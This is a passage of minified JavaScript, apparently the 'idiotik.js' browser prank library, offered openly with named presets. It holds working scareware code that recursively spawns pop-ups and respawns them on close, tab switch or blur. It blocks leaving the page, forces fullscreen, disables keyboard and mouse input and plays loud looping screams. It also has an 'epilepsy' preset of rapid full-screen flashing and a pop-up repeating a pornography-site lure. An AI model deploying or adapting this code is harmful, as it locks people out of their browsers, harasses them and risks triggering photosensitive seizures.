t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_rainbow{0%{background:#ff0000}15%{background:#ff8800}30%{background:#ffff00}45%{background:#00ff00}60%{background:#0000ff}75%{background:#8800ff}90%{background:#ff00ff}100%{background:#ff0000}}body{animation:__idiotik_rainbow 0.5s infinite}",document.head.appendChild(t)},invert(){const e="__idiotik_invert__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="body{filter:invert(1)}",document.head.appendChild(t)},matrix(){const e="__idiotik_matrix__";if(document.getElementById(e))return;const t=document.createElement("canvas");t.id=e,t.style.cssText="position:fixed;top:0;left:0;z-index:9998;pointer-events:none;width:100vw;height:100vh;opacity:0.7;",document.body.appendChild(t),b(t,"htmlNodes");const n=t.getContext("2d");t.width=window.innerWidth,t.height=window.innerHeight;const o=Math.floor(t.width/16),r=Array(o).fill(1);b(setInterval(()=>{n.fillStyle="rgba(0,0,0,0.05)",n.fillRect(0,0,t.width,t.height),n.fillStyle="#0f0",n.font="16px monospace",r.forEach((e,o)=>{const i="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#$%^&*()"[Math.floor(45*Math.random())];n.fillText(i,16*o,16*e),16*e>t.height&&Math.random()>.975&&(r[o]=0),r[o]++})},50),"intervals")},melt(){const e="__idiotik_melt__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_melt{0%{transform:skewY(0deg) scaleY(1)}50%{transform:skewY(5deg) scaleY(1.1)}100%{transform:skewY(-3deg) scaleY(0.9)}}body{animation:__idiotik_melt 1s ease-in-out infinite alternate;transform-origin:bottom}",document.head.appendChild(t)},vhs(){const e="__idiotik_vhs__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_vhs_scan{0%{top:-100%}100%{top:100%}}@keyframes __idiotik_vhs_track{0%,95%{transform:none}96%{transform:translate(-4px,0) skewX(-0.5deg)}97%{transform:translate(4px,0) skewX(0.5deg)}98%{transform:translate(-2px,0)}100%{transform:none}}body{animation:__idiotik_vhs_track 3s infinite}body::before{content:'';position:fixed;top:0;left:0;width:100%;height:3px;background:rgba(255,255,255,0.15);z-index:99999;pointer-events:none;animation:__idiotik_vhs_scan 4s linear infinite}body::after{content:'';position:fixed;top:0;left:0;width:100%;height:100%;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.08) 2px,rgba(0,0,0,0.08) 4px);pointer-events:none;z-index:99998}",document.head.appendChild(t)},static(){const e="__idiotik_static__";if(document.getElementById(e))return;const t=document.createElement("canvas");t.id=e,t.width=256,t.height=256,t.style.cssText="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9997;pointer-events:none;opacity:0.12;image-rendering:pixelated;",document.body.appendChild(t),b(t,"htmlNodes");const n=t.getContext("2d");b(setInterval(()=>{const e=n.createImageData(256,256);for(let t=0;t<e.data.length;t+=4){const n=255*Math.random()|0;e.data[t]=e.data[t+1]=e.data[t+2]=n,e.data[t+3]=255}n.putImageData(e,0,0)},40),"intervals")},zoom(){const e="__idiotik_zoom__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_zoom{0%,100%{transform:scale(1)}50%{transform:scale(1.15)}}body{animation:__idiotik_zoom 0.8s ease-in-out infinite}",document.head.appendChild(t)},blur(){const e="__idiotik_blur__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_blur{0%,100%{filter:blur(0px)}50%{filter:blur(6px)}}body{animation:__idiotik_blur 1s ease-in-out infinite}",document.head.appendChild(t)},flip(){const e="__idiotik_flip__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="body{transform:scaleX(-1)}",document.head.appendChild(t)},bounce(){const e="__idiotik_bounce__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_bounce{0%,100%{transform:translateY(0)}50%{transform:translateY(-30px)}}body{animation:__idiotik_bounce 0.6s ease-in-out infinite}",document.head.appendChild(t)},darkmode(){const e="__idiotik_darkmode__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="body{background:#000!important;color:#fff!important;filter:brightness(0.3)}",document.head.appendChild(t)},pixelate(){const e="__idiotik_pixelate__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="body{image-rendering:pixelated;filter:blur(0px) contrast(200%) brightness(50%)}",document.head.appendChild(t)}},M={classic(){I.recursive("yes"),I.startnow("effect:rainbow"),I.startnow("effect:shake"),I.start("say:YOU ARE AN IDIOT HA HA HA HA HA HA"),I.repeat("inf"),I.startnow("scream")},nuclear(){I.recursive("yes"),I.volume(5e3),I.startnow("effect:shake"),I.startnow("effect:rainbow"),I.startnow("effect:glitch"),I.startnow("effect:spin"),I.startnow("effect:matrix"),I.startnow("effect:vhs"),I.startnow("effect:static"),I.startnow("effect:zoom"),I.startnow("scream"),I.startnow("fullscreen"),I.startnow("freeze"),I.startnow("cursor:none"),I.startnow("haunt"),I.start("say:ššš YOU ARE SO COOKED ššš"),I.repeat("inf")},mild(){I.recursive("no"),I.volume(100),I.startnow("effect:shake"),I.start("say:gotcha lol"),I.repeat(5)},rickroll(){I.recursive("no"),I.startnow("redirect:https://www.youtube.com/watch?v=dQw4w9WgXcQ")},jumpscare(){I.recursive("yes"),I.volume(300),I.wait(3e3).then(()=>{I.startnow("effect:glitch"),I.startnow("jumpscare:https://upload.wikimedia.org/wikipedia/commons/thumb/a/a7/Camponotus_flavomarginatus_ant.jpg/640px-Camponotus_flavomarginatus_ant.jpg"),I.startnow("scream")})},epilepsy(){I.recursive("yes"),I.volume(450),I.startnow("effect:rainbow"),I.startnow("effect:shake"),I.startnow("effect:glitch"),I.startnow("effect:invert"),I.startnow("effect:static"),I.startnow("cursor:rainbow"),I.startnow("scream")},robux(){I.recursive("yes"),I.volume(200),I.startnow("effect:rainbow"),I.startnow("cursor:explode"),I.start("say:FREE ROBUX AT PORNHUB.COM!!!"),I.repeat("inf")},villain(){I.recursive("no"),I.volume(150),I.startnow("effect:matrix"),I.wait(2e3).then(()=>I.startnow("effect:glitch")),I.wait(4e3).then(()=>{I.volume(500),I.startnow("effect:shake"),I.startnow("scream"),I.recursive("yes"),I.start("say:did you really think you were safe šæ"),I.repeat("inf")})},melt(){I.recursive("no"),I.volume(100),I.startnow("effect:melt"),I.startnow("effect:spin"),I.wait(3e3).then(()=>{I.volume(300),I.startnow("effect:rainbow"),I.startnow("scream")})},haunted(){I.recursive("yes"),I.volume(80),I.startnow("effect:vhs"),I.startnow("effect:glitch"),I.startnow("cursor:ghost"),I.startnow("haunt"),I.wait(5e3).then(()=>{I.volume(600),I.startnow("scream"),I.startnow("effect:flip"),I.startnow("effect:shake"),I.start("say:šļø i was here the whole time šļø"),I.repeat("inf")})},gravity(){I.recursive("yes"),I.volume(200),I.startnow("gravitywarp"),I.startnow("effect:melt"),I.startnow("cursor:eyes"),I.wait(3e3).then(()=>{I.startnow("effect:rainbow"),I.startnow("scream")})}},I={start(e){if(null==e){const e=[...c];return c=[],e.forEach(e=>{try{e()}catch(e){}}),I}if("number"==typeof e){const t=e-1;if(t>=0&&t<c.length)try{c[t]()}catch(e){}else console.warn(`idiotik.start(${e}): no task at position ${e} (queue length: ${c.length})`);return I}const t=E(e);return t&&c.push(t),I},startnow(e){const t=E(e);if(t)try{t()}catch(e){}return I},click(e,t){const n=t?null:[...c];c=[];const o=e=>{if(t){const n=E(t);if(n)try{n(e)}catch(e){}}else n.forEach(t=>{try{t(e)}catch(e){}})},r=()=>{let t=[];try{t=[...document.querySelectorAll(e)]}catch(e){}if(!t.length){const n=e.toLowerCase().trim();t=[...document.querySelectorAll("button,a,input[type='button'],input[type='submit'],[role='button'],label,[onclick]")].filter(e=>e.textContent.trim().toLowerCase().includes(n)||e.value&&e.value.trim().toLowerCase().includes(n))}t.length||console.warn(`idiotik.click: no elements found for "${e}" ā will retry on DOM changes`),t.forEach(e=>{e.__idiotikClick||(e.__idiotikClick=!0,e.addEventListener("click",o),b(e,"htmlNodes"))})};"loading"!==document.readyState?r():document.addEventListener("DOMContentLoaded",r);const i=new MutationObserver(r);return i.observe(document.body||document.documentElement,{childList:!0,subtree:!0}),m._observers||(m._observers=[]),m._observers.push(i),I},repeat(e){const n=c[c.length-1];if(!n)return I;if(c.pop(),"inf"===e||e===1/0){const e=()=>{try{n()}catch(e){}t&&setTimeout(e,0)};c.push(e)}else{let t=0;const o=()=>{try{n()}catch(e){}++t<e&&setTimeout(o,100)};c.push(o)}return I},wait(e){let t;const n=new Promise(e=>{t=e});return c.push(()=>{const n=setTimeout(t,e);f.push(n)}),{then:e=>(c.push(()=>n.then(e)),I)}},script(e,t){const n={name:e,intervals:[],timeouts:[],audioSources:[],htmlNodes:[]};r[e]=n,s.push(n);try{t()}finally{s.pop()}return I},halt(e){const t=r[e];return t?((t.intervals||[]).forEach(clearInterval),(t.timeouts||[]).forEach(clearTimeout),(t.audioSources||[]).forEach(e=>{try{e.stop()}catch(e){}}),(t.htmlNodes||[]).forEach(e=>{try{e.remove()}catch(e){}}),delete r[e],I):I},nuke(){if(t=!1,l=!1,p="new",c=[],u.forEach(clearInterval),f.forEach(clearTimeout),m.forEach(e=>{try{e.remove()}catch(e){}}),u=[],f=[],m=[],Object.keys(r).forEach(e=>I.halt(e)),I.cleareffects(),document.body.style.cssText="",document.body.style.cursor="",a){try{a.close()}catch(e){}a=null}return d.forEach(e=>{try{e.close()}catch(e){}}),d=[],m._observers&&(m._observers.forEach(e=>{try{e.disconnect()}catch(e){}}),m._observers=[]),console.log("%cidiotik: nuked. RIP.","color:#ff4444;font-weight:bold;"),I},recursive(e){if(t=!0===e||"yes"===e||1===e,t){if(l)return I;l=!0,_(),window.addEventListener("beforeunload",function(e){if(t)return _(),_(),e.preventDefault(),e.returnValue="",""},{capture:!0}),window.addEventListener("unload",()=>{t&&(_(),_())},{capture:!0}),window.addEventListener("pagehide",()=>{t&&(_(),_())},{capture:!0}),document.addEventListener("visibilitychange",()=>{document.hidden&&t&&(_(),_())}),window.addEventListener("blur",()=>{t&&setTimeout(w,50)})}return I},volume:e=>(n=Math.max(0,Math.min(5e3,Number(e))),I),opennum:e=>(y=Math.max(1,parseInt(e)||1),I),method:e=>(z=["flash","revolt"].includes(e)?e:z,I),popup:e=>(o=!0===e||"yes"===e||1===e,I),window:e=>(p="tab"===e?"tab":"alert"===e?"alert":"new",I),preset:e=>function(){h=e,M[e]?M[e]():console.warn(`idiotik.preset: unknown preset "${e}". try idiotik.list()`)},list(){const e=Object.keys(M);return console.log(`%cidiotik.js ā available presets (${e.length})`,"font-weight:bold;color:#ff4444;font-size:14px;"),e.forEach(e=>console.log(` %c⢠${e}`,"color:#ff4444;")),I},status:()=>(console.log("%cidiotik STATUS","color:#ff4444;font-weight:bold;font-size:14px;"),console.log(" recursive:",t),console.log(" windowMode:",p),console.log(" volume:",n),console.log(" popup:",o),console.log(" active effects:",[...i]),console.log(" queued tasks:",c.length),console.log(" active scripts:",Object.keys(r)),console.log(" spawned windows:",d.filter(e=>!e.closed).length),I),_ifResult:null,if:e=>(I._ifResult=!!e,{then:e=>(I._ifResult&&e(),{else:e=>(I._ifResult||e(),I)})}),else:e=>(I._ifResult||e(),I),random(...e){const t=e[Math.floor(Math.random()*e.length)];return"function"==typeof t&&t(),I},say:e=>function n(){if("alert"===p)alert(e),t&&setTimeout(()=>n(),0);else{const o=window.open("","_blank","tab"===p?"":"width=300,height=150,toolbar=no,menubar=no,scrollbars=no,resizable=no");o&&(o.document.write(`<html><body style="margin:0;display:flex;align-items:center;justify-content:center;height:100vh;font-family:Comic Sans MS,cursive;font-size:1.2rem;background:#fff;text-align:center;padding:1rem;">${e}</body></html>`),o.document.close(),t&&(o.onload=()=>setTimeout(n,100),setTimeout(n,100)))}},redirect:e=>function(){window.location.href=e},freeze:()=>function(){document.addEventListener("keydown",e=>e.preventDefault(),!0),document.addEventListener("mousedown",e=>e.preventDefault(),!0),document.addEventListener("contextmenu",e=>e.preventDefault(),!0)},fullscreen:()=>function e(){const n=document.documentElement;n.requestFullscreen?n.requestFullscreen():n.webkitRequestFullscreen&&n.webkitRequestFullscreen(),document.addEventListener("fullscreenchange",()=>{!document.fullscreenElement&&t&&setTimeout(e,100)})},jumpscare:(e,n)=>function o(){const r=document.createElement("div");r.style.cssText="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:99999;background:#000;display:flex;align-items:center;justify-content:center;";const i=document.createElement("img");i.src=e,i.style.cssText="max-width:100%;max-height:100%;object-fit:contain;",r.appendChild(i),document.body.appendChild(r),b(r,"htmlNodes"),n&&x(k(n));const a=v();a&&a.htmlNodes.push(r),t&&setTimeout(()=>{r.remove(),o()},1e3)},scream:()=>function e(){const o=g(),r=o.createOscillator(),i=o.createGain();r.type="sawtooth",r.frequency.value=880,r.frequency.linearRampToValueAtTime(440,o.currentTime+1),r.frequency.linearRampToValueAtTime(1760,o.currentTime+2),i.gain.value=Math.min(n/100,10),r.connect(i),i.connect(o.destination),r.start(),setTimeout(()=>r.stop(),2e3),t&&setTimeout(e,2100)},noise(e){const o=e||1;return function e(){const r=g(),i=r.sampleRate*o,a=r.createBuffer(1,i,r.sampleRate),s=a.getChannelData(0);for(let e=0;e<i;e++)s[e]=2*Math.random()-1;const c=r.createBufferSource();c.buffer=a;const l=r.createGain();l.gain.value=Math.min(n/100,5),c.connect(l),l.connect(r.destination),c.start(),c.stop(r.currentTime+o),t&&setTimeout(e,1e3*o+100)}},haunt(){const e=["šļø","i see you","leave.","you can't close this","help","HA","why","š©ø","turn around"];return function n(){const o=document.createElement("div");o.textContent=e[Math.floor(Math.random()*e.length)],o.style.cssText=`position:fixed;left:${90*Math.random()}vw;top:${90*Math.random()}vh;font-size:${16+40*Math.random()}px;color:rgba(255,0,0,${.3+.7*Math.random()});pointer-events:none;z-index:99990;font-family:serif;font-style:italic;transition:opacity 1s;text-shadow:0 0 10px red;`,document.body.appendChild(o),b(o,"htmlNodes"),setTimeout(()=>{o.style.opacity="0",setTimeout(()=>o.remove(),1e3)},1500),t&&setTimeout(n,800+1200*Math.random())}},fakeCursor:()=>function(){const e=document.createElement("div");e.textContent="š±ļø",e.style.cssText="position:fixed;font-size:20px;pointer-events:none;z-index:999999;transition:left 0.2s,top 0.2s;",document.body.appendChild(e),b(e,"htmlNodes");let t=0,n=0;document.addEventListener("mousemove",e=>{t=e.clientX,n=e.clientY}),b(setInterval(()=>{e.style.left=t+15+10*Math.sin(Date.now()/200)+"px",e.style.top=n+15+10*Math.cos(Date.now()/200)+"px"},50),"intervals")},gravityWarp:()=>function e(){[...document.querySelectorAll("p,h1,h2,h3,h4,img,div,a,button,span")].filter(e=>0===e.children.length||"IMG"===e.tagName).forEach(e=>{if(e.dataset.idiotikGravity)return;e.dataset.idiotikGravity="1";const t=e.style.transform;let n=0;const o=setInterval(()=>{n+=.5;const r=parseFloat(e.dataset.gy||"0");e.dataset.gy=r+n,e.style.transform=`${t} translateY(${r}px) rotate(${.1*r}deg)`,r>1.5*window.innerHeight&&clearInterval(o)},50)}),t&&setTimeout(e,5e3)},audio(e){const n=k(e);return async function e(){const o=await x(n),r=v();r&&r.audioSources.push(o),t&&o.addEventListener?.("ended",e)}},effect:e=>function(){T[e]?(i.add(e),T[e]()):console.warn(`idiotik.effect: unknown effect "${e}"`)},cleareffects(){i.clear(),document.querySelectorAll("[id^='__idiotik_']").forEach(e=>e.remove()),document.body.style.animation="",document.body.style.filter=""},cursor:e=>function(){const t=C[e];if(t)if("__rainbow__"===t){let e=0;b(setInterval(()=>{const t=`<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><circle cx='10' cy='10' r='10' fill='hsl(${e},100%,50%)'/></svg>`;document.body.style.cursor=`url("data:image/svg+xml,${encodeURIComponent(t)}"), auto`,e=(e+10)%360},50),"intervals")}else if("__wiggle__"===t)document.addEventListener("mousemove",()=>{const e=10*Math.sin(Date.now()/100);document.body.style.cursor=`url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><text y='16' font-size='16'>š</text></svg>") ${e} 0, auto`});else if("__explode__"===t)document.addEventListener("click",e=>{for(let t=0;t<12;t++){const n=document.createElement("div");n.textContent=["š„","āØ","ā","š„"][t%4],n.style.cssText=`position:fixed;left:${e.clientX}px;top:${e.clientY}px;font-size:20px;pointer-events:none;z-index:99999;transition:all 0.6s;`,document.body.appendChild(n),b(n,"htmlNodes");const o=t/12*2*Math.PI;setTimeout(()=>{n.style.transform=`translate(${60*Math.cos(o)}px,${60*Math.sin(o)}px)`,n.style.opacity="0"},10),setTimeout(()=>n.remove(),700)}});else if("__ghost__"===t){document.body.style.cursor="none";const e=document.createElement("div");e.textContent="š»",e.style.cssText="position:fixed;font-size:24px;pointer-events:none;z-index:999999;transition:left 0.4s ease,top 0.4s ease;",document.body.appendChild(e),b(e,"htmlNodes");let t=0,n=0;document.addEventListener("mousemove",e=>{t=e.clientX,n=e.clientY}),b(setInterval(()=>{e.style.left=t+"px",e.style.top=n+"px",e.style.opacity=(.5+.5*Math.sin(Date.now()/300)).toString()},50),"intervals")}else"__eyes__"===t?(document.body.style.cursor="none",["left:30vw","left:60vw"].forEach(e=>{const t=document.createElement("div");t.style.cssText=`position:fixed;top:50vh;${e};font-size:48px;pointer-events:none;z-index:999999;transition:transform 0.1s;`,t.textContent="šļø",document.body.appendChild(t),b(t,"htmlNodes")}),document.addEventListener("mousemove",e=>{document.querySelectorAll("[style*='šļø']").forEach(t=>{const n=t.getBoundingClientRect(),o=e.clientX-(n.left+n.width/2),r=e.clientY-(n.top+n.height/2);t.style.transform=`rotate(${Math.atan2(r,o)}rad)`})})):document.body.style.cursor=t;else document.body.style.cursor=`url(${e}), auto`}};"undefined"!=typeof module&&module.exports?module.exports=I:e.idiotik=I}("undefined"!=typeof window?window:global);
|